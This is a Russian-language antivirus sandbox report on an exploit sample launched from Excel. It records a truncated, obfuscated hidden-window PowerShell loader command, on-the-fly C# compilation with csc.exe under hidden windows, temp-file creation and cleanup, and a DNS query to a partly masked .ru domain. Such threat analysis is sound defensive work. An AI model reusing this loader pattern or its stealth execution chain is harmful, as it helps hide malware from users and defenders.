Exploit.Siggen.62477

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function x9fca8 {param($t975c8)$scd777='bb7ac';$sac76='';for ($i=0; $i -lt $t975c8.length;$i+=2){$hfc38c4=[convert]::ToByte($t975c8.Substring($i,2),16);$sac76+=[char]($hfc...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\qp2kihf2.0.cs
%TEMP%\siyvmtlf.dll
%TEMP%\res26f.tmp
%TEMP%\4bjqcike.dll
%TEMP%\res34a.tmp
%TEMP%\bkreqrkm.dll
%TEMP%\res1a4.tmp
%TEMP%\qp2kihf2.dll
%TEMP%\resf8da.tmp
%TEMP%\csc339.tmp
%TEMP%\csc25e.tmp
%TEMP%\csc193.tmp
%TEMP%\resf928.tmp
%TEMP%\cscf917.tmp
%TEMP%\2oayrc9w.dll
%TEMP%\cscf8c9.tmp
%TEMP%\4bjqcike.cmdline
%TEMP%\4bjqcike.0.cs
%TEMP%\siyvmtlf.out
%TEMP%\siyvmtlf.cmdline
%TEMP%\siyvmtlf.0.cs
%TEMP%\2oayrc9w.out
%TEMP%\2oayrc9w.cmdline
%TEMP%\2oayrc9w.0.cs
%TEMP%\bkreqrkm.out
%TEMP%\bkreqrkm.cmdline
%TEMP%\bkreqrkm.0.cs
%TEMP%\qp2kihf2.out
%TEMP%\qp2kihf2.cmdline
%TEMP%\4bjqcike.out
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{f3405d6c-d21a-4b87-a5cb-f6c19ed5c487}.tmp

Удаляет следующие файлы

%TEMP%\resf928.tmp
%TEMP%\csc25e.tmp
%TEMP%\qp2kihf2.out
%TEMP%\qp2kihf2.cmdline
%TEMP%\qp2kihf2.dll
%TEMP%\qp2kihf2.0.cs
%TEMP%\qp2kihf2.pdb
%TEMP%\2oayrc9w.dll
%TEMP%\siyvmtlf.out
%TEMP%\2oayrc9w.out
%TEMP%\2oayrc9w.pdb
%TEMP%\2oayrc9w.cmdline
%TEMP%\siyvmtlf.cmdline
%TEMP%\siyvmtlf.0.cs
%TEMP%\siyvmtlf.dll
%TEMP%\res26f.tmp
%TEMP%\2oayrc9w.0.cs
%TEMP%\bkreqrkm.0.cs
%TEMP%\cscf8c9.tmp
%TEMP%\cscf917.tmp
%TEMP%\res1a4.tmp
%TEMP%\csc193.tmp
%TEMP%\res34a.tmp
%TEMP%\csc339.tmp
%TEMP%\resf8da.tmp
%TEMP%\4bjqcike.cmdline
%TEMP%\bkreqrkm.out
%TEMP%\4bjqcike.pdb
%TEMP%\4bjqcike.dll
%TEMP%\4bjqcike.0.cs
%TEMP%\4bjqcike.out
%TEMP%\bkreqrkm.dll
%TEMP%\bkreqrkm.pdb
%TEMP%\bkreqrkm.cmdline
%TEMP%\siyvmtlf.pdb

Сетевая активность

UDP

DNS ASK wi###inosd.ru

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function x9fca8 {param($t975c8)$scd777='bb7ac';$sac76='';for ($i=0; $i -lt $t975c8.length;$i+=2){$hfc38c4=[convert]::ToByte($t975c8.Substring($i,2),16);$sac76+=[char]($hfc...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qp2kihf2.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bkreqrkm.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2oayrc9w.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\siyvmtlf.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4bjqcike.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF8DA.tmp" "%TEMP%\CSCF8C9.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF928.tmp" "%TEMP%\CSCF917.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1A4.tmp" "%TEMP%\CSC193.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES34A.tmp" "%TEMP%\CSC339.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES26F.tmp" "%TEMP%\CSC25E.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qp2kihf2.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bkreqrkm.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2oayrc9w.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\siyvmtlf.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4bjqcike.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF8DA.tmp" "%TEMP%\CSCF8C9.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF928.tmp" "%TEMP%\CSCF917.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1A4.tmp" "%TEMP%\CSC193.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES34A.tmp" "%TEMP%\CSC339.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES26F.tmp" "%TEMP%\CSC25E.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding